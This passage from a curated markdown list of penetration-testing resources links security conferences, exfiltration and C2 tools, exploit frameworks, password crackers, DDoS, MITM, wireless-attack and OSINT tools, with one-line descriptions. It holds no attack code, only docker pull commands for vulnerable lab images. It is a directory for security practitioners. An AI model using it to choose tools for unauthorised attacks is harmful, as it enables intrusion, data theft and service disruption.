* [Troopers](https://www.troopers.de) - Annual international IT Security event with workshops held in Heidelberg, Germany.
* [HoneyCON](https://honeycon.eu/) - Annual Security Conference in Guadalajara, Spain. Organized by the HoneySEC association.
### North America
* [AppSecUSA](https://appsecusa.org/) - Annual conference organized by OWASP.
* [Black Hat](http://www.blackhat.com/) - Annual security conference in Las Vegas.
* [CarolinaCon](https://carolinacon.org/) - Infosec conference, held annually in North Carolina.
* [DEF CON](https://www.defcon.org/) - Annual hacker convention in Las Vegas.
* [DerbyCon](https://www.derbycon.com/) - Annual hacker conference based in Louisville.
* [Hackers Next Door](https://hnd.techlearningcollective.com/) - Cybersecurity and social technology conference held in New York City.
* [Hackers On Planet Earth (HOPE)](https://hope.net/) - Semi-annual conference held in New York City.
* [Hackfest](https://hackfest.ca) - Largest hacking conference in Canada.
* [LayerOne](http://www.layerone.org/) - Annual US security conference held every spring in Los Angeles.
* [National Cyber Summit](https://www.nationalcybersummit.com/) - Annual US security conference and Capture the Flag event, held in Huntsville, Alabama, USA.
* [PhreakNIC](http://phreaknic.info/) - Technology conference held annually in middle Tennessee.
* [RSA Conference USA](https://www.rsaconference.com/) - Annual security conference in San Francisco, California, USA.
* [ShmooCon](http://shmoocon.org/) - Annual US East coast hacker convention.
* [SkyDogCon](http://www.skydogcon.com/) - Technology conference in Nashville.
* [SummerCon](https://www.summercon.org/) - One of the oldest hacker conventions in America, held during Summer.
* [ThotCon](http://thotcon.org/) - Annual US hacker conference held in Chicago.
* [Virus Bulletin Conference](https://www.virusbulletin.com/conference/index) - Annual conference going to be held in Denver, USA for 2016.
### South America
* [Ekoparty](http://www.ekoparty.org) - Largest Security Conference in Latin America, held annually in Buenos Aires, Argentina.
* [Hackers to Hackers Conference (H2HC)](https://www.h2hc.com.br/) - Oldest security research (hacking) conference in Latin America and one of the oldest ones still active in the world.
### Zealandia
* [CHCon](https://chcon.nz) - Christchurch Hacker Con, Only South Island of New Zealand hacker con.
## Exfiltration Tools
* [DET](https://github.com/sensepost/DET) - Proof of concept to perform data exfiltration using either single or multiple channel(s) at the same time.
* [Iodine](https://code.kryo.se/iodine/) - Tunnel IPv4 data through a DNS server; useful for exfiltration from networks where Internet access is firewalled, but DNS queries are allowed.
* [TrevorC2](https://github.com/trustedsec/trevorc2) - Client/server tool for masking command and control and data exfiltration through a normally browsable website, not typical HTTP POST requests.
* [dnscat2](https://github.com/iagox86/dnscat2) - Tool designed to create an encrypted command and control channel over the DNS protocol, which is an effective tunnel out of almost every network.
* [pwnat](https://github.com/samyk/pwnat) - Punches holes in firewalls and NATs.
* [tgcd](http://tgcd.sourceforge.net/) - Simple Unix network utility to extend the accessibility of TCP/IP based network services beyond firewalls.
* [QueenSono](https://github.com/ariary/QueenSono) - Client/Server Binaries for data exfiltration with ICMP. Useful in a network where ICMP protocol is less monitored than others (which is a common case).
## Exploit Development Tools
See also *[Reverse Engineering Tools](#reverse-engineering-tools)*.
* [Magic Unicorn](https://github.com/trustedsec/unicorn) - Shellcode generator for numerous attack vectors, including Microsoft Office macros, PowerShell, HTML applications (HTA), or `certutil` (using fake certificates).
* [Pwntools](https://github.com/Gallopsled/pwntools) - Rapid exploit development framework built for use in CTFs.
* [peda](https://github.com/longld/peda) - Python Exploit Development Assistance for GDB.
* [Wordpress Exploit Framework](https://github.com/rastating/wordpress-exploit-framework) - Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems.
## File Format Analysis Tools
* [ExifTool](https://www.sno.phy.queensu.ca/~phil/exiftool/) - Platform-independent Perl library plus a command-line application for reading, writing and editing meta information in a wide variety of files.
* [Hachoir](https://hachoir.readthedocs.io/) - Python library to view and edit a binary stream as tree of fields and tools for metadata extraction.
* [Kaitai Struct](http://kaitai.io/) - File formats and network protocols dissection language and web IDE, generating parsers in C++, C#, Java, JavaScript, Perl, PHP, Python, Ruby.
* [peepdf](https://eternal-todo.com/tools/peepdf-pdf-analysis-tool) - Python tool to explore PDF files in order to find out if the file can be harmful or not.
* [Veles](https://codisec.com/veles/) - Binary data visualization and analysis tool.
## GNU/Linux Utilities
* [Hwacha](https://github.com/n00py/Hwacha) - Post-exploitation tool to quickly execute payloads via SSH on one or more Linux systems simultaneously.
* [Linux Exploit Suggester](https://github.com/PenturaLabs/Linux_Exploit_Suggester) - Heuristic reporting on potentially viable exploits for a given GNU/Linux system.
* [Lynis](https://cisofy.com/lynis/) - Auditing tool for UNIX-based systems.
* [checksec.sh](https://www.trapkit.de/tools/checksec.html) - Shell script designed to test what standard Linux OS and PaX security features are being used.
## Hash Cracking Tools
* [BruteForce Wallet](https://github.com/glv2/bruteforce-wallet) - Find the password of an encrypted wallet file (i.e. `wallet.dat`).
* [CeWL](https://digi.ninja/projects/cewl.php) - Generates custom wordlists by spidering a target's website and collecting unique words.
* [duplicut](https://github.com/nil0x42/duplicut) - Quickly remove duplicates, without changing the order, and without getting OOM on huge wordlists.
* [GoCrack](https://github.com/fireeye/gocrack) - Management Web frontend for distributed password cracking sessions using hashcat (or other supported tools) written in Go.
* [Hashcat](http://hashcat.net/hashcat/) - The more fast hash cracker.
* [hate_crack](https://github.com/trustedsec/hate_crack) - Tool for automating cracking methodologies through Hashcat.
* [JWT Cracker](https://github.com/lmammino/jwt-cracker) - Simple HS256 JSON Web Token (JWT) token brute force cracker.
* [John the Ripper](http://www.openwall.com/john/) - Fast password cracker.
* [Rar Crack](http://rarcrack.sourceforge.net) - RAR bruteforce cracker.
## Hex Editors
* [Bless](https://github.com/bwrsandman/Bless) - High quality, full featured, cross-platform graphical hex editor written in Gtk#.
* [Frhed](http://frhed.sourceforge.net/) - Binary file editor for Windows.
* [Hex Fiend](http://ridiculousfish.com/hexfiend/) - Fast, open source, hex editor for macOS with support for viewing binary diffs.
* [HexEdit.js](https://hexed.it) - Browser-based hex editing.
* [Hexinator](https://hexinator.com/) - World's finest (proprietary, commercial) Hex Editor.
* [hexedit](https://github.com/pixel/hexedit) - Simple, fast, console-based hex editor.
* [wxHexEditor](http://www.wxhexeditor.org/) - Free GUI hex editor for GNU/Linux, macOS, and Windows.
## Industrial Control and SCADA Systems
See also [awesome-industrial-control-system-security](https://github.com/hslatman/awesome-industrial-control-system-security).
* [Industrial Exploitation Framework (ISF)](https://github.com/dark-lbp/isf) - Metasploit-like exploit framework based on routersploit designed to target Industrial Control Systems (ICS), SCADA devices, PLC firmware, and more.
* [s7scan](https://github.com/klsecservices/s7scan) - Scanner for enumerating Siemens S7 PLCs on a TCP/IP or LLC network.
## Intentionally Vulnerable Systems
See also [awesome-vulnerable](https://github.com/kaiiyer/awesome-vulnerable).
### Intentionally Vulnerable Systems as Docker Containers
* [Damn Vulnerable Web Application (DVWA)](https://hub.docker.com/r/citizenstig/dvwa/) - `docker pull citizenstig/dvwa`.
* [OWASP Juice Shop](https://github.com/bkimminich/juice-shop#docker-container--) - `docker pull bkimminich/juice-shop`.
* [OWASP Mutillidae II Web Pen-Test Practice Application](https://hub.docker.com/r/citizenstig/nowasp/) - `docker pull citizenstig/nowasp`.
* [OWASP NodeGoat](https://github.com/owasp/nodegoat#option-3---run-nodegoat-on-docker) - `docker-compose build && docker-compose up`.
* [OWASP Security Shepherd](https://hub.docker.com/r/ismisepaul/securityshepherd/) - `docker pull ismisepaul/securityshepherd`.
* [OWASP WebGoat Project 7.1 docker image](https://hub.docker.com/r/webgoat/webgoat-7.1/) - `docker pull webgoat/webgoat-7.1`.
* [OWASP WebGoat Project 8.0 docker image](https://hub.docker.com/r/webgoat/webgoat-8.0/) - `docker pull webgoat/webgoat-8.0`.
* [Vulnerability as a service: Heartbleed](https://hub.docker.com/r/hmlio/vaas-cve-2014-0160/) - `docker pull hmlio/vaas-cve-2014-0160`.
* [Vulnerability as a service: SambaCry](https://hub.docker.com/r/vulnerables/cve-2017-7494/) - `docker pull vulnerables/cve-2017-7494`.
* [Vulnerability as a service: Shellshock](https://hub.docker.com/r/hmlio/vaas-cve-2014-6271/) - `docker pull hmlio/vaas-cve-2014-6271`.
* [Vulnerable WordPress Installation](https://hub.docker.com/r/wpscanteam/vulnerablewordpress/) - `docker pull wpscanteam/vulnerablewordpress`.
## Lock Picking
See [awesome-lockpicking](https://github.com/fabacab/awesome-lockpicking).
## macOS Utilities
* [Bella](https://github.com/kdaoudieh/Bella) - Pure Python post-exploitation data mining and remote administration tool for macOS.
* [EvilOSX](https://github.com/Marten4n6/EvilOSX) - Modular RAT that uses numerous evasion and exfiltration techniques out-of-the-box.
## Multi-paradigm Frameworks
* [Armitage](http://fastandeasyhacking.com/) - Java-based GUI front-end for the Metasploit Framework.
* [AutoSploit](https://github.com/NullArray/AutoSploit) - Automated mass exploiter, which collects target by employing the Shodan.io API and programmatically chooses Metasploit exploit modules based on the Shodan query.
* [Decker](https://github.com/stevenaldinger/decker) - Penetration testing orchestration and automation framework, which allows writing declarative, reusable configurations capable of ingesting variables and using outputs of tools it has run as inputs to others.
* [Faraday](https://github.com/infobyte/faraday) - Multiuser integrated pentesting environment for red teams performing cooperative penetration tests, security audits, and risk assessments.
* [Metasploit](https://www.metasploit.com/) - Software for offensive security teams to help verify vulnerabilities and manage security assessments.
* [Pupy](https://github.com/n1nj4sec/pupy) - Cross-platform (Windows, Linux, macOS, Android) remote administration and post-exploitation tool.
## Network Tools
* [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) - Swiss army knife for pentesting networks.
* [IKEForce](https://github.com/SpiderLabs/ikeforce) - Command line IPSEC VPN brute forcing tool for Linux that allows group name/ID enumeration and XAUTH brute forcing capabilities.
* [Intercepter-NG](http://sniff.su/) - Multifunctional network toolkit.
* [Legion](https://github.com/GoVanguard/legion) - Graphical semi-automated discovery and reconnaissance framework based on Python 3 and forked from SPARTA.
* [Network-Tools.com](http://network-tools.com/) - Website offering an interface to numerous basic network utilities like `ping`, `traceroute`, `whois`, and more.
* [Ncrack](https://nmap.org/ncrack/) - High-speed network authentication cracking tool built to help companies secure their networks by proactively testing all their hosts and networking devices for poor passwords.
* [Praeda](http://h.foofus.net/?page_id=218) - Automated multi-function printer data harvester for gathering usable data during security assessments.
* [Printer Exploitation Toolkit (PRET)](https://github.com/RUB-NDS/PRET) - Tool for printer security testing capable of IP and USB connectivity, fuzzing, and exploitation of PostScript, PJL, and PCL printer language features.
* [SPARTA](https://sparta.secforce.com/) - Graphical interface offering scriptable, configurable access to existing network infrastructure scanning and enumeration tools.
* [SigPloit](https://github.com/SigPloiter/SigPloit) - Signaling security testing framework dedicated to telecom security for researching vulnerabilites in the signaling protocols used in mobile (cellular phone) operators.
* [Smart Install Exploitation Tool (SIET)](https://github.com/Sab0tag3d/SIET) - Scripts for identifying Cisco Smart Install-enabled switches on a network and then manipulating them.
* [THC Hydra](https://github.com/vanhauser-thc/thc-hydra) - Online password cracking tool with built-in support for many network protocols, including HTTP, SMB, FTP, telnet, ICQ, MySQL, LDAP, IMAP, VNC, and more.
* [Tsunami](https://github.com/google/tsunami-security-scanner) - General purpose network security scanner with an extensible plugin system for detecting high severity vulnerabilities with high confidence.
* [Zarp](https://github.com/hatRiot/zarp) - Network attack tool centered around the exploitation of local networks.
* [dnstwist](https://github.com/elceef/dnstwist) - Domain name permutation engine for detecting typo squatting, phishing and corporate espionage.
* [dsniff](https://www.monkey.org/~dugsong/dsniff/) - Collection of tools for network auditing and pentesting.
* [impacket](https://github.com/CoreSecurity/impacket) - Collection of Python classes for working with network protocols.
* [pivotsuite](https://github.com/RedTeamOperations/PivotSuite) - Portable, platform independent and powerful network pivoting toolkit.
* [routersploit](https://github.com/reverse-shell/routersploit) - Open source exploitation framework similar to Metasploit but dedicated to embedded devices.
* [rshijack](https://github.com/kpcyrd/rshijack) - TCP connection hijacker, Rust rewrite of `shijack`.
### DDoS Tools
* [Anevicon](https://github.com/rozgo/anevicon) - Powerful UDP-based load generator, written in Rust.
* [D(HE)ater](https://github.com/Balasys/dheater) - D(HE)ater sends forged cryptographic handshake messages to enforce the Diffie-Hellman key exchange.
* [HOIC](https://sourceforge.net/projects/high-orbit-ion-cannon/) - Updated version of Low Orbit Ion Cannon, has 'boosters' to get around common counter measures.
* [Low Orbit Ion Canon (LOIC)](https://github.com/NewEraCracker/LOIC) - Open source network stress tool written for Windows.
* [Memcrashed](https://github.com/649/Memcrashed-DDoS-Exploit) - DDoS attack tool for sending forged UDP packets to vulnerable Memcached servers obtained using Shodan API.
* [SlowLoris](https://github.com/gkbrk/slowloris) - DoS tool that uses low bandwidth on the attacking side.
* [T50](https://gitlab.com/fredericopissarra/t50/) - Faster network stress tool.
* [UFONet](https://github.com/epsylon/ufonet) - Abuses OSI layer 7 HTTP to create/manage 'zombies' and to conduct different attacks using; `GET`/`POST`, multithreading, proxies, origin spoofing methods, cache evasion techniques, etc.
### Network Reconnaissance Tools
* [ACLight](https://github.com/cyberark/ACLight) - Script for advanced discovery of sensitive Privileged Accounts - includes Shadow Admins.
* [AQUATONE](https://github.com/michenriksen/aquatone) - Subdomain discovery tool utilizing various open sources producing a report that can be used as input to other tools.
* [CloudFail](https://github.com/m0rtem/CloudFail) - Unmask server IP addresses hidden behind Cloudflare by searching old database records and detecting misconfigured DNS.
* [DNSDumpster](https://dnsdumpster.com/) - Online DNS recon and search service.
* [Mass Scan](https://github.com/robertdavidgraham/masscan) - TCP port scanner, spews SYN packets asynchronously, scanning entire Internet in under 5 minutes.
* [OWASP Amass](https://github.com/OWASP/Amass) - Subdomain enumeration via scraping, web archives, brute forcing, permutations, reverse DNS sweeping, TLS certificates, passive DNS data sources, etc.
* [ScanCannon](https://github.com/johnnyxmas/ScanCannon) - POSIX-compliant BASH script to quickly enumerate large networks by calling `masscan` to quickly identify open ports and then `nmap` to gain details on the systems/services on those ports.
* [XRay](https://github.com/evilsocket/xray) - Network (sub)domain discovery and reconnaissance automation tool.
* [dnsenum](https://github.com/fwaeytens/dnsenum/) - Perl script that enumerates DNS information from a domain, attempts zone transfers, performs a brute force dictionary style attack, and then performs reverse look-ups on the results.
* [dnsmap](https://github.com/makefu/dnsmap/) - Passive DNS network mapper.
* [dnsrecon](https://github.com/darkoperator/dnsrecon/) - DNS enumeration script.
* [dnstracer](http://www.mavetju.org/unix/dnstracer.php) - Determines where a given DNS server gets its information from, and follows the chain of DNS servers.
* [fierce](https://github.com/mschwager/fierce) - Python3 port of the original `fierce.pl` DNS reconnaissance tool for locating non-contiguous IP space.
* [netdiscover](https://github.com/netdiscover-scanner/netdiscover) - Network address discovery scanner, based on ARP sweeps, developed mainly for those wireless networks without a DHCP server.
* [nmap](https://nmap.org/) - Free security scanner for network exploration & security audits.
* [passivedns-client](https://github.com/chrislee35/passivedns-client) - Library and query tool for querying several passive DNS providers.
* [passivedns](https://github.com/gamelinux/passivedns) - Network sniffer that logs all DNS server replies for use in a passive DNS setup.
* [RustScan](https://github.com/rustscan/rustscan) - Lightweight and quick open-source port scanner designed to automatically pipe open ports into Nmap.
* [scanless](https://github.com/vesche/scanless) - Utility for using websites to perform port scans on your behalf so as not to reveal your own IP.
* [smbmap](https://github.com/ShawnDEvans/smbmap) - Handy SMB enumeration tool.
* [subbrute](https://github.com/TheRook/subbrute) - DNS meta-query spider that enumerates DNS records, and subdomains.
* [zmap](https://zmap.io/) - Open source network scanner that enables researchers to easily perform Internet-wide network studies.
### Protocol Analyzers and Sniffers
See also [awesome-pcaptools](https://github.com/caesar0301/awesome-pcaptools).
* [Debookee](http://www.iwaxx.com/debookee/) - Simple and powerful network traffic analyzer for macOS.
* [Dshell](https://github.com/USArmyResearchLab/Dshell) - Network forensic analysis framework.
* [Netzob](https://github.com/netzob/netzob) - Reverse engineering, traffic generation and fuzzing of communication protocols.
* [Wireshark](https://www.wireshark.org/) - Widely-used graphical, cross-platform network protocol analyzer.
* [netsniff-ng](https://github.com/netsniff-ng/netsniff-ng) - Swiss army knife for network sniffing.
* [sniffglue](https://github.com/kpcyrd/sniffglue) - Secure multithreaded packet sniffer.
* [tcpdump/libpcap](http://www.tcpdump.org/) - Common packet analyzer that runs under the command line.
### Network Traffic Replay and Editing Tools
* [TraceWrangler](https://www.tracewrangler.com/) - Network capture file toolkit that can edit and merge `pcap` or `pcapng` files with batch editing features.
* [WireEdit](https://wireedit.com/) - Full stack WYSIWYG pcap editor (requires a free license to edit packets).
* [bittwist](http://bittwist.sourceforge.net/) - Simple yet powerful libpcap-based Ethernet packet generator useful in simulating networking traffic or scenario, testing firewall, IDS, and IPS, and troubleshooting various network problems.
* [hping3](https://github.com/antirez/hping) - Network tool able to send custom TCP/IP packets.
* [pig](https://github.com/rafael-santiago/pig) - GNU/Linux packet crafting tool.
* [scapy](https://github.com/secdev/scapy) - Python-based interactive packet manipulation program and library.
* [tcpreplay](https://tcpreplay.appneta.com/) - Suite of free Open Source utilities for editing and replaying previously captured network traffic.
### Proxies and Machine-in-the-Middle (MITM) Tools
See also *[Intercepting Web proxies](#intercepting-web-proxies)*.
* [BetterCAP](https://www.bettercap.org/) - Modular, portable and easily extensible MITM framework.
* [Ettercap](http://www.ettercap-project.org) - Comprehensive, mature suite for machine-in-the-middle attacks.
* [Habu](https://github.com/portantier/habu) - Python utility implementing a variety of network attacks, such as ARP poisoning, DHCP starvation, and more.
* [Lambda-Proxy](https://github.com/puresec/lambda-proxy) - Utility for testing SQL Injection vulnerabilities on AWS Lambda serverless functions.
* [MITMf](https://github.com/byt3bl33d3r/MITMf) - Framework for Man-In-The-Middle attacks.
* [Morpheus](https://github.com/r00t-3xp10it/morpheus) - Automated ettercap TCP/IP Hijacking tool.
* [SSH MITM](https://github.com/jtesta/ssh-mitm) - Intercept SSH connections with a proxy; all plaintext passwords and sessions are logged to disk.
* [dnschef](https://github.com/iphelix/dnschef) - Highly configurable DNS proxy for pentesters.
* [evilgrade](https://github.com/infobyte/evilgrade) - Modular framework to take advantage of poor upgrade implementations by injecting fake updates.
* [mallory](https://github.com/justmao945/mallory) - HTTP/HTTPS proxy over SSH.
* [oregano](https://github.com/nametoolong/oregano) - Python module that runs as a machine-in-the-middle (MITM) accepting Tor client requests.
* [sylkie](https://dlrobertson.github.io/sylkie/) - Command line tool and library for testing networks for common address spoofing security vulnerabilities in IPv6 networks using the Neighbor Discovery Protocol.
### Transport Layer Security Tools
* [SSLyze](https://github.com/nabla-c0d3/sslyze) - Fast and comprehensive TLS/SSL configuration analyzer to help identify security mis-configurations.
* [crackpkcs12](https://github.com/crackpkcs12/crackpkcs12) - Multithreaded program to crack PKCS#12 files (`.p12` and `.pfx` extensions), such as TLS/SSL certificates.
* [testssl.sh](https://github.com/drwetter/testssl.sh) - Command line tool which checks a server's service on any port for the support of TLS/SSL ciphers, protocols as well as some cryptographic flaws.
* [tls_prober](https://github.com/WestpointLtd/tls_prober) - Fingerprint a server's SSL/TLS implementation.
### Wireless Network Tools
* [Aircrack-ng](http://www.aircrack-ng.org/) - Set of tools for auditing wireless networks.
* [Airgeddon](https://github.com/v1s1t0r1sh3r3/airgeddon) - Multi-use bash script for Linux systems to audit wireless networks.
* [BoopSuite](https://github.com/MisterBianco/BoopSuite) - Suite of tools written in Python for wireless auditing.
* [Bully](http://git.kali.org/gitweb/?p=packages/bully.git;a=summary) - Implementation of the WPS brute force attack, written in C.
* [Cowpatty](https://github.com/joswr1ght/cowpatty) - Brute-force dictionary attack against WPA-PSK.
* [Fluxion](https://github.com/FluxionNetwork/fluxion) - Suite of automated social engineering based WPA attacks.
* [KRACK Detector](https://github.com/securingsam/krackdetector) - Detect and prevent KRACK attacks in your network.
* [Kismet](https://kismetwireless.net/) - Wireless network detector, sniffer, and IDS.
* [PSKracker](https://github.com/soxrok2212/PSKracker) - Collection of WPA/WPA2/WPS default algorithms, password generators, and PIN generators written in C.
* [Reaver](https://code.google.com/archive/p/reaver-wps) - Brute force attack against WiFi Protected Setup.
* [WiFi Pineapple](https://www.wifipineapple.com/) - Wireless auditing and penetration testing platform.
* [WiFi-Pumpkin](https://github.com/P0cL4bs/WiFi-Pumpkin) - Framework for rogue Wi-Fi access point attack.
* [Wifite](https://github.com/derv82/wifite) - Automated wireless attack tool.
* [infernal-twin](https://github.com/entropy1337/infernal-twin) - Automated wireless hacking tool.
* [krackattacks-scripts](https://github.com/vanhoefm/krackattacks-scripts) - WPA2 Krack attack scripts.
* [pwnagotchi](https://github.com/evilsocket/pwnagotchi) - Deep reinforcement learning based AI that learns from the Wi-Fi environment and instruments BetterCAP in order to maximize the WPA key material captured.
* [wifi-arsenal](https://github.com/0x90/wifi-arsenal) - Resources for Wi-Fi Pentesting.
## Network Vulnerability Scanners
* [celerystalk](https://github.com/sethsec/celerystalk) - Asynchronous enumeration and vulnerability scanner that "runs all the tools on all the hosts" in a configurable manner.
* [kube-hunter](https://kube-hunter.aquasec.com/) - Open-source tool that runs a set of tests ("hunters") for security issues in Kubernetes clusters from either outside ("attacker's view") or inside a cluster.
* [Nessus](https://www.tenable.com/products/nessus-vulnerability-scanner) - Commercial vulnerability management, configuration, and compliance assessment platform, sold by Tenable.
* [Netsparker Application Security Scanner](https://www.netsparker.com/pricing/) - Application security scanner to automatically find security flaws.
* [Nexpose](https://www.rapid7.com/products/nexpose/) - Commercial vulnerability and risk management assessment engine that integrates with Metasploit, sold by Rapid7.
* [OpenVAS](http://www.openvas.org/) - Free software implementation of the popular Nessus vulnerability assessment system.
* [Vuls](https://github.com/future-architect/vuls) - Agentless vulnerability scanner for GNU/Linux and FreeBSD, written in Go.
### Web Vulnerability Scanners
* [ACSTIS](https://github.com/tijme/angularjs-csti-scanner) - Automated client-side template injection (sandbox escape/bypass) detection for AngularJS.
* [Arachni](http://www.arachni-scanner.com/) - Scriptable framework for evaluating the security of web applications.
* [JCS](https://github.com/TheM4hd1/JCS) - Joomla Vulnerability Component Scanner with automatic database updater from exploitdb and packetstorm.
* [Nikto](https://cirt.net/nikto2) - Noisy but fast black box web server and web application vulnerability scanner.
* [SQLmate](https://github.com/UltimateHackers/sqlmate) - Friend of `sqlmap` that identifies SQLi vulnerabilities based on a given dork and (optional) website.
* [SecApps](https://secapps.com/) - In-browser web application security testing suite.
* [WPScan](https://wpscan.org/) - Black box WordPress vulnerability scanner.
* [Wapiti](http://wapiti.sourceforge.net/) - Black box web application vulnerability scanner with built-in fuzzer.
* [WebReaver](https://www.webreaver.com/) - Commercial, graphical web application vulnerability scanner designed for macOS.
* [cms-explorer](https://code.google.com/archive/p/cms-explorer/) - Reveal the specific modules, plugins, components and themes that various websites powered by content management systems are running.
* [joomscan](https://www.owasp.org/index.php/Category:OWASP_Joomla_Vulnerability_Scanner_Project) - Joomla vulnerability scanner.
* [skipfish](https://www.kali.org/tools/skipfish/) - Performant and adaptable active web application security reconnaissance tool.
* [w3af](https://github.com/andresriancho/w3af) - Web application attack and audit framework.
## Online Resources
### Online Operating Systems Resources
* [DistroWatch.com's Security Category](https://distrowatch.com/search.php?category=Security) - Website dedicated to talking about, reviewing, and keeping up to date with open source operating systems.
### Online Penetration Testing Resources
* [MITRE's Adversarial Tactics, Techniques & Common Knowledge (ATT&CK)](https://attack.mitre.org/) - Curated knowledge base and model for cyber adversary behavior.
* [Metasploit Unleashed](https://www.offensive-security.com/metasploit-unleashed/) - Free Offensive Security Metasploit course.
* [Open Web Application Security Project (OWASP)](https://www.owasp.org/index.php/Main_Page) - Worldwide not-for-profit charitable organization focused on improving the security of especially Web-based and Application-layer software.
* [PENTEST-WIKI](https://github.com/nixawk/pentest-wiki) - Free online security knowledge library for pentesters and researchers.
* [Penetration Testing Execution Standard (PTES)](http://www.pentest-standard.org/) - Documentation designed to provide a common language and scope for performing and reporting the results of a penetration test.
* [Penetration Testing Framework (PTF)](http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html) - Outline for performing penetration tests compiled as a general framework usable by vulnerability analysts and penetration testers alike.
* [XSS-Payloads](http://www.xss-payloads.com) - Resource dedicated to all things XSS (cross-site), including payloads, tools, games, and documentation.
### Other Lists Online
* [.NET Programming](https://github.com/quozd/awesome-dotnet) - Software framework for Microsoft Windows platform development.
* [Infosec/hacking videos recorded by cooper](https://administraitor.video) - Collection of security conferences recorded by Cooper.
* [Android Exploits](https://github.com/sundaysec/Android-Exploits) - Guide on Android Exploitation and Hacks.
* [Android Security](https://github.com/ashishb/android-security-awesome) - Collection of Android security related resources.
* [AppSec](https://github.com/paragonie/awesome-appsec) - Resources for learning about application security.
* [Awesome Awesomness](https://github.com/bayandin/awesome-awesomeness) - The List of the Lists.
* [Awesome Malware](https://github.com/fabacab/awesome-malware) - Curated collection of awesome malware, botnets, and other post-exploitation tools.
* [Awesome Shodan Queries](https://github.com/jakejarvis/awesome-shodan-queries) - Awesome list of useful, funny, and depressing search queries for Shodan.
* [AWS Tool Arsenal](https://github.com/toniblyx/my-arsenal-of-aws-security-tools) - List of tools for testing and securing AWS environments.
* [Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam) - Awesome resources, tools, and other shiny things for cybersecurity blue teams.
* [C/C++ Programming](https://github.com/fffaraz/awesome-cpp) - One of the main language for open source security tools.
* [CTFs](https://github.com/apsdehal/awesome-ctf) - Capture The Flag frameworks, libraries, etc.
* [Forensics](https://github.com/Cugu/awesome-forensics) - Free (mostly open source) forensic analysis tools and resources.
* [Hacking](https://github.com/carpedm20/awesome-hacking) - Tutorials, tools, and resources.
* [Honeypots](https://github.com/paralax/awesome-honeypots) - Honeypots, tools, components, and more.
* [InfoSec § Hacking challenges](https://github.com/AnarchoTechNYC/meta/wiki/InfoSec#hacking-challenges) - Comprehensive directory of CTFs, wargames, hacking challenge websites, pentest practice lab exercises, and more.
* [Infosec](https://github.com/onlurking/awesome-infosec) - Information security resources for pentesting, forensics, and more.
* [JavaScript Programming](https://github.com/sorrycc/awesome-javascript) - In-browser development and scripting.
* [Kali Linux Tools](http://tools.kali.org/tools-listing) - List of tools present in Kali Linux.
* [Node.js Programming by @sindresorhus](https://github.com/sindresorhus/awesome-nodejs) - Curated list of delightful Node.js packages and resources.
* [Pentest Cheat Sheets](https://github.com/coreb1t/awesome-pentest-cheat-sheets) - Awesome Pentest Cheat Sheets.
* [Python Programming by @svaksha](https://github.com/svaksha/pythonidae) - General Python programming.
* [Python Programming by @vinta](https://github.com/vinta/awesome-python) - General Python programming.
* [Python tools for penetration testers](https://github.com/dloss/python-pentest-tools) - Lots of pentesting tools are written in Python.
* [Rawsec's CyberSecurity Inventory](https://inventory.raw.pm/) - An open-source inventory of tools, resources, CTF platforms and Operating Systems about CyberSecurity. ([Source](https://gitlab.com/rawsec/rawsec-cybersecurity-list))
* [Red Teaming](https://github.com/yeyintminthuhtut/Awesome-Red-Teaming) - List of Awesome Red Teaming Resources.
* [Ruby Programming by @Sdogruyol](https://github.com/Sdogruyol/awesome-ruby) - The de-facto language for writing exploits.
* [Ruby Programming by @dreikanter](https://github.com/dreikanter/ruby-bookmarks) - The de-facto language for writing exploits.
* [Ruby Programming by @markets](https://github.com/markets/awesome-ruby) - The de-facto language for writing exploits.
* [SecLists](https://github.com/danielmiessler/SecLists) - Collection of multiple types of lists used during security assessments.
* [SecTools](http://sectools.org/) - Top 125 Network Security Tools.
* [Security Talks](https://github.com/PaulSec/awesome-sec-talks) - Curated list of security conferences.
* [Security](https://github.com/sbilly/awesome-security) - Software, libraries, documents, and other resources.
* [Serverless Security](https://github.com/puresec/awesome-serverless-security/) - Curated list of awesome serverless security resources such as (e)books, articles, whitepapers, blogs and research papers.
* [Shell Scripting](https://github.com/alebcay/awesome-shell) - Command line frameworks, toolkits, guides and gizmos.
* [YARA](https://github.com/InQuest/awesome-yara) - YARA rules, tools, and people.
### Penetration Testing Report Templates
* [Public Pentesting Reports](https://github.com/juliocesarfort/public-pentesting-reports) - Curated list of public penetration test reports released by several consulting firms and academic security groups.
* [T&VS Pentesting Report Template](https://www.testandverification.com/wp-content/uploads/template-penetration-testing-report-v03.pdf) - Pentest report template provided by Test and Verification Services, Ltd.
* [Web Application Security Assessment Report Template](http://lucideus.com/pdf/stw.pdf) - Sample Web application security assessment reporting template provided by Lucideus.
## Open Sources Intelligence (OSINT)
See also [awesome-osint](https://github.com/jivoi/awesome-osint).
* [DataSploit](https://github.com/upgoingstar/datasploit) - OSINT visualizer utilizing Shodan, Censys, Clearbit, EmailHunter, FullContact, and Zoomeye behind the scenes.
* [Depix](https://github.com/beurtschipper/Depix) - Tool for recovering passwords from pixelized screenshots (by de-pixelating text).
* [GyoiThon](https://github.com/gyoisamurai/GyoiThon) - GyoiThon is an Intelligence Gathering tool using Machine Learning.
* [Intrigue](http://intrigue.io) - Automated OSINT & Attack Surface discovery framework with powerful API, UI and CLI.
* [Maltego](http://www.maltego.com/) - Proprietary software for open sources intelligence and forensics.
* [PacketTotal](https://packettotal.com/) - Simple, free, high-quality packet capture file analysis facilitating the quick detection of network-borne malware (using Zeek and Suricata IDS signatures under the hood).
* [Skiptracer](https://github.com/xillwillx/skiptracer) - OSINT scraping framework that utilizes basic Python webscraping (BeautifulSoup) of PII paywall sites to compile passive information on a target on a ramen noodle budget.
* [Sn1per](https://github.com/1N3/Sn1per) - Automated Pentest Recon Scanner.
* [Spiderfoot](http://www.spiderfoot.net/) - Multi-source OSINT automation tool with a Web UI and report visualizations.
* [creepy](https://github.com/ilektrojohn/creepy) - Geolocation OSINT tool.
* [gOSINT](https://github.com/Nhoya/gOSINT) - OSINT tool with multiple modules and a telegram scraper.
* [image-match](https://github.com/ascribe/image-match) - Quickly search over billions of images.
* [recon-ng](https://github.com/lanmaster53/recon-ng) - Full-featured Web Reconnaissance framework written in Python.
* [sn0int](https://github.com/kpcyrd/sn0int) - Semi-automatic OSINT framework and package manager.
* [Facebook Friend List Scraper](https://github.com/narkopolo/fb_friend_list_scraper) - Tool to scrape names and usernames from large friend lists on Facebook, without being rate limited.
